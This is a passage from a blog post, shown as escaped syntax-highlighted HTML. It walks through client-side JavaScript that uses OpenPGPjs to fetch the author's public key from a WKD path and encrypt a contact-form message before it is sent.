class=&quot;z-string z-quoted z-double z-html&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-html&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;pgp-contact.js&lt;span class=&quot;z-punctuation z-definition z-string z-end z-html&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-attribute-with-value z-html&quot;&gt;&lt;span class=&quot;z-entity z-other z-attribute-name z-html&quot;&gt;type&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-tag z-script z-begin z-html&quot;&gt;&lt;span class=&quot;z-meta z-attribute-with-value z-html&quot;&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-html&quot;&gt;=&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-tag z-script z-begin z-html&quot;&gt;&lt;span class=&quot;z-meta z-attribute-with-value z-html&quot;&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-tag z-script z-begin z-html&quot;&gt;&lt;span class=&quot;z-meta z-attribute-with-value z-html&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-html&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-html&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;module&lt;span class=&quot;z-punctuation z-definition z-string z-end z-html&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-tag z-end z-html&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-tag z-script z-end z-html&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-tag z-begin z-html&quot;&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag z-script z-html&quot;&gt;script&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-tag z-end z-html&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;That is where the &lt;em&gt;magic&lt;&#x2F;em&gt; happens. You’ll find more info on the different ways to use OpenPGPjs in &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;openpgpjs&#x2F;openpgpjs&#x2F;blob&#x2F;main&#x2F;README.md#getting-started&quot;&gt;their README&lt;&#x2F;a&gt;, here we’ll download the latest &lt;code&gt;openpgpjs.min.mjs&lt;&#x2F;code&gt; file and import it. Then we’ll first &lt;strong&gt;get the OpenPGP public key&lt;&#x2F;strong&gt; to use for encryption, before extracting the message from the form, and &lt;strong&gt;using OpenPGPjs to encrypt it&lt;&#x2F;strong&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;js&quot; class=&quot;language-js z-code&quot;&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;&lt;span class=&quot;z-source z-ts&quot;&gt;&lt;span class=&quot;z-comment z-line z-double-slash z-ts&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-ts&quot;&gt;&#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-comment z-line z-double-slash z-ts&quot;&gt; pgp-contact.js&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-ts&quot;&gt;&lt;span class=&quot;z-meta z-import z-ts&quot;&gt;&lt;span class=&quot;z-keyword z-control z-import z-ts&quot;&gt;import&lt;&#x2F;span&gt; &lt;span class=&quot;z-constant z-language z-import-export-all z-ts&quot;&gt;*&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-control z-as z-ts&quot;&gt;as&lt;&#x2F;span&gt; &lt;span class=&quot;z-variable z-other z-readwrite z-alias z-ts&quot;&gt;openpgp&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-control z-from z-ts&quot;&gt;from&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-quoted z-single z-ts&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-ts&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;.&#x2F;openpgp.min.mjs&lt;span class=&quot;z-punctuation z-definition z-string z-end z-ts&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-ts&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-ts&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-ts&quot;&gt;&lt;span class=&quot;z-comment z-line z-double-slash z-ts&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-ts&quot;&gt;&#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-comment z-line z-double-slash z-ts&quot;&gt; I put my OpenPGP binary key on this path to follow the WKD standard&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-ts&quot;&gt;&lt;span class=&quot;z-comment z-line z-double-slash z-ts&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-ts&quot;&gt;&#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-comment z-line z-double-slash z-ts&quot;&gt; more info: https:&#x2F;&#x2F;github.com&#x2F;yzoug&#x2F;zougfr&#x2F;pull&#x2F;6&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-ts&quot;&gt;&lt;span class=&quot;z-meta z-var z-expr z-ts&quot;&gt;&lt;span class=&quot;z-storage z-type z-ts&quot;&gt;const&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-var-single-variable z-expr z-ts&quot;&gt;&lt;span class=&quot;z-meta z-definition z-variable z-ts&quot;&gt;&lt;span class=&quot;z-variable z-other z-constant z-ts&quot;&gt;pubKeyUrl&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator z-assignment z-ts&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-quoted z-double z-ts&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-ts&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&#x2F;.well-known&#x2F;openpgpkey&#x2F;hu&#x2F;dj3498u4hyyarh35rkjfnghbjxug6b19&lt;span class=&quot;z-punctuation z-definition z-string z-end z-ts&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-ts&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-ts&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-ts&quot;&gt;&lt;span class=&quot;z-meta z-var z-expr z-ts&quot;&gt;&lt;span class=&quot;z-storage z-type z-ts&quot;&gt;let&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-var-single-variable z-expr z-ts&quot;&gt;&lt;span class=&quot;z-meta z-definition z-variable z-ts&quot;&gt;&lt;span class=&quot;z-variable z-other z-readwrite z-ts&quot;&gt;contact_form&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator z-assignment z-ts&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-ts&quot;&gt;&lt;span class=&quot;z-support z-variable z-dom z-ts&quot;&gt;document&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-accessor z-ts&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-dom z-ts&quot;&gt;getElementById&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-brace z-round z-ts&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-quoted z-double z-ts&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-ts&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;contact_form&lt;span class=&quot;z-punctuation z-definition z-string z-end z-ts&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-brace z-round z-ts&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-ts&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-ts&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-ts&quot;&gt;&lt;span class=&quot;z-variable z-other z-object z-ts&quot;&gt;contact_form&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-accessor z-ts&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-dom z-ts&quot;&gt;addEventListener&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-brace z-round z-ts&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-quoted z-double z-ts&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-ts&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;submit&lt;span class=&quot;z-punctuation z-definition z-string z-end z-ts&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-comma z-ts&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-arrow z-ts&quot;&gt;&lt;span class=&quot;z-storage z-modifier z-async z-ts&quot;&gt;async&lt;&#x2F;span&gt; &lt;span class=&quot;z-variable z-parameter z-ts&quot;&gt;event&lt;&#x2F;span&gt; &lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-arrow z-ts&quot;&gt;&lt;span class=&quot;z-storage z-type z-function z-arrow z-ts&quot;&gt;=&amp;gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-block z-ts&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-block z-ts&quot;&gt;{&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-ts&quot;&gt;&lt;span class=&quot;z-meta z-arrow z-ts&quot;&gt;&lt;span class=&quot;z-meta z-block z-ts&quot;&gt;&lt;span class=&quot;z-punctuation z-whitespace z-comment z-leading z-ts&quot;&gt;  &lt;&#x2F;span&gt;&lt;span class=&quot;z-comment z-line z-double-slash z-ts&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-ts&quot;&gt;&#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-comment z-line z-double-slash z-ts&quot;&gt; we don&amp;#39;t want to redirect the user after form submission&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-ts&quot;&gt;&lt;span class=&quot;z-meta z-arrow z-ts&quot;&gt;&lt;span class=&quot;z-meta z-block z-ts&quot;&gt;  &lt;span class=&quot;z-meta z-function-call z-ts&quot;&gt;&lt;span class=&quot;z-support z-variable z-dom z-ts&quot;&gt;event&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-accessor z-ts&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-dom z-ts&quot;&gt;preventDefault&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-brace z-round z-ts&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-brace z-round z-ts&quot;&gt;)&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-ts&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-ts&quot;&gt;&lt;span class=&quot;z-meta z-arrow z-ts&quot;&gt;&lt;span class=&quot;z-meta z-block z-ts&quot;&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-ts&quot;&gt;&lt;span class=&quot;z-meta z-arrow z-ts&quot;&gt;&lt;span class=&quot;z-meta z-block z-ts&quot;&gt;&lt;span class=&quot;z-punctuation z-whitespace z-comment z-leading z-ts&quot;&gt;  &lt;&#x2F;span&gt;&lt;span class=&quot;z-comment z-line z-double-slash z-ts&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-ts&quot;&gt;&#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-comment z-line z-double-slash z-ts&quot;&gt; get my binary private key as Uint8Array&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-ts&quot;&gt;&lt;span class=&quot;z-meta z-arrow z-ts&quot;&gt;&lt;span class=&quot;z-meta z-block z-ts&quot;&gt;  &lt;span class=&quot;z-meta z-var z-expr z-ts&quot;&gt;&lt;span class=&quot;z-storage z-type z-ts&quot;&gt;const&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-var-single-variable z-expr z-ts&quot;&gt;&lt;span class=&quot;z-meta z-definition z-variable z-ts&quot;&gt;&lt;span class=&quot;z-variable z-other z-constant z-ts&quot;&gt;binaryPubKeyResponse&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator z-assignment z-ts&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-control z-flow z-ts&quot;&gt;await&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-ts&quot;&gt;&lt;span class=&quot;z-entity z-name z-function z-ts&quot;&gt;fetch&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-brace z-round z-ts&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-other z-readwrite z-ts&quot;&gt;pubKeyUrl&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-brace z-round z-ts&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-ts&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-ts&quot;&gt;&lt;span class=&quot;z-meta z-arrow z-ts&quot;&gt;&lt;span class=&quot;z-meta z-block z-ts&quot;&gt;  &lt;span class=&quot;z-meta z-var z-expr z-ts&quot;&gt;&lt;span class=&quot;z-storage z-type z-ts&quot;&gt;const&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-var-single-variable z-expr z-ts&quot;&gt;&lt;span class=&quot;z-meta z-definition z-variable z-ts&quot;&gt;&lt;span class=&quot;z-variable z-other z-constant z-ts&quot;&gt;binaryPubKeyBuffer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator z-assignment z-ts&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-control z-flow z-ts&quot;&gt;await&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-ts&quot;&gt;&lt;span class=&quot;z-variable z-other z-object z-ts&quot;&gt;binaryPubKeyResponse&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-accessor z-ts&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-function z-ts&quot;&gt;arrayBuffer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-brace z-round z-ts&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-brace z-round z-ts&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-ts&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-ts&quot;&gt;&lt;span class=&quot;z-meta z-arrow z-ts&quot;&gt;&lt;span class=&quot;z-meta z-block z-ts&quot;&gt;  &lt;span class=&quot;z-meta z-var z-expr z-ts&quot;&gt;&lt;span class=&quot;z-storage z-type z-ts&quot;&gt;const&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-var-single-variable z-expr z-ts&quot;&gt;&lt;span class=&quot;z-meta z-definition z-variable z-ts&quot;&gt;&lt;span class=&quot;z-variable z-other z-constant z-ts&quot;&gt;binaryPubKey&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator z-assignment z-ts&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-new z-expr z-ts&quot;&gt;&lt;span class=&quot;z-keyword z-operator z-new z-ts&quot;&gt;new&lt;&#x2F;span&gt; &lt;span class=&quot;z-entity z-name z-type z-ts&quot;&gt;Uint8Array&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-brace z-round z-ts&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-other z-readwrite z-ts&quot;&gt;binaryPubKeyBuffer&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-brace z-round z-ts&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-ts&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-ts&quot;&gt;&lt;span class=&quot;z-meta z-arrow z-ts&quot;&gt;&lt;span class=&quot;z-meta z-block z-ts&quot;&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-ts&quot;&gt;&lt;span class=&quot;z-meta z-arrow z-ts&quot;&gt;&lt;span class=&quot;z-meta z-block z-ts&quot;&gt;&lt;span class=&quot;z-punctuation z-whitespace z-comment z-leading z-ts&quot;&gt;  &lt;&#x2F;span&gt;&lt;span class=&quot;z-comment z-line z-double-slash z-ts&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-ts&quot;&gt;&#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-comment z-line z-double-slash z-ts&quot;&gt; encrypt the message with OpenPGPjs and my PGP public key&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-ts&quot;&gt;&lt;span class=&quot;z-meta z-arrow z-ts&quot;&gt;&lt;span class=&quot;z-meta z-block z-ts&quot;&gt;  &lt;span class=&quot;z-meta z-var z-expr z-ts&quot;&gt;&lt;span class=&quot;z-storage z-type z-ts&quot;&gt;const&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-var-single-variable z-expr z-ts&quot;&gt;&lt;span class=&quot;z-meta z-definition z-variable z-ts&quot;&gt;&lt;span class=&quot;z-variable z-other z-constant z-ts&quot;&gt;pubKey&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator z-assignment z-ts&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-control z-flow z-ts&quot;&gt;await&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-ts&quot;&gt;&lt;span class=&quot;z-variable z-other z-object z-ts&quot;&gt;openpgp&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-accessor z-ts&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-function z-ts&quot;&gt;readKey&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-brace z-round z-ts&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-objectliteral z-ts&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-block z-ts&quot;&gt;{&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-object z-member z-ts&quot;&gt;&lt;span class=&quot;z-meta z-object-literal z-key z-ts&quot;&gt;binaryKey&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-object z-member z-ts&quot;&gt;&lt;span class=&quot;z-meta z-object-literal z-key z-ts&quot;&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-ts&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-variable z-other z-readwrite z-ts&quot;&gt;binaryPubKey&lt;&#x2F;span&gt; &lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-block z-ts&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-brace z-round z-ts&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-ts&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-ts&quot;&gt;&lt;span class=&quot;z-meta z-arrow z-ts&quot;&gt;&lt;span class=&quot;z-meta z-block z-ts&quot;&gt;  &lt;span class=&quot;z-meta z-var z-expr z-ts&quot;&gt;&lt;span class=&quot;z-storage z-type z-ts&quot;&gt;const&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-var-single-variable z-expr z-ts&quot;&gt;&lt;span class=&quot;z-meta z-definition z-variable z-ts&quot;&gt;&lt;span class=&quot;z-variable z-other z-constant z-ts&quot;&gt;decryptedMessage&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator z-assignment z-ts&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-ts&quot;&gt;&lt;span class=&quot;z-support z-variable z-dom z-ts&quot;&gt;document&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-accessor z-ts&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-dom z-ts&quot;&gt;getElementById&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-brace z-round z-ts&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-quoted z-single z-ts&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-ts&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;message&lt;span class=&quot;z-punctuation z-definition z-string z-end z-ts&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-brace z-round z-ts&quot;&gt;)&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-accessor z-ts&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-variable z-property z-dom z-ts&quot;&gt;value&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-ts&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-ts&quot;&gt;&lt;span class=&quot;z-meta z-arrow z-ts&quot;&gt;&lt;span class=&quot;z-meta z-block z-ts&quot;&gt;  &lt;span class=&quot;z-meta z-var z-expr z-ts&quot;&gt;&lt;span class=&quot;z-storage z-type z-ts&quot;&gt;const&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-var-single-variable z-expr z-ts&quot;&gt;&lt;span class=&quot;z-meta z-definition z-variable z-ts&quot;&gt;&lt;span class=&quot;z-variable z-other z-constant z-ts&quot;&gt;pgpMessage&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator z-assignment z-ts&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-control z-flow z-ts&quot;&gt;await&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-ts&quot;&gt;&lt;span class=&quot;z-variable z-other z-object z-ts&quot;&gt;openpgp&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-accessor z-ts&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-function z-ts&quot;&gt;createMessage&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-brace z-round z-ts&quot;&gt;(&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-ts&quot;&gt;&lt;span class=&quot;z-meta z-arrow z-ts&quot;&gt;&lt;span class=&quot;z-meta z-block z-ts&quot;&gt;&lt;span class=&quot;z-meta z-var z-expr z-ts&quot;&gt;        &lt;span class=&quot;z-meta z-objectliteral z-ts&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-block z-ts&quot;&gt;{&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-object z-member z-ts&quot;&gt;&lt;span class=&quot;z-meta z-object-literal z-key z-ts&quot;&gt;text&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-object z-member z-ts&quot;&gt;&lt;span class=&quot;z-meta z-object-literal z-key z-ts&quot;&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-ts&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-variable z-other z-readwrite z-ts&quot;&gt;decryptedMessage&lt;&#x2F;span&gt; &lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-block z-ts&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-ts&quot;&gt;&lt;span class=&quot;z-meta z-arrow z-ts&quot;&gt;&lt;span class=&quot;z-meta z-block z-ts&quot;&gt;&lt;span class=&quot;z-meta z-var z-expr z-ts&quot;&gt;  &lt;span class=&quot;z-meta z-brace z-round z-ts&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-ts&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-ts&quot;&gt;&lt;span class=&quot;z-meta z-arrow z-ts&quot;&gt;&lt;span class=&quot;z-meta z-block z-ts&quot;&gt;  &lt;span class=&quot;z-meta z-var z-expr z-ts&quot;&gt;&lt;span class=&quot;z-storage z-type z-ts&quot;&gt;const&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-var-single-variable z-expr z-ts&quot;&gt;&lt;span class=&quot;z-meta z-definition z-variable z-ts&quot;&gt;&lt;span class=&quot;z-variable z-other z-constant z-ts&quot;&gt;encryptedMessage&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator z-assignment z-ts&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-control z-flow z-ts&quot;&gt;await&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-ts&quot;&gt;&lt;span class=&quot;z-variable z-other z-object z-ts&quot;&gt;openpgp&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-accessor z-ts&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-function z-ts&quot;&gt;encrypt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-brace z-round z-ts&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-objectliteral z-ts&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-block z-ts&quot;&gt;{&lt;&#x2F;span&gt;
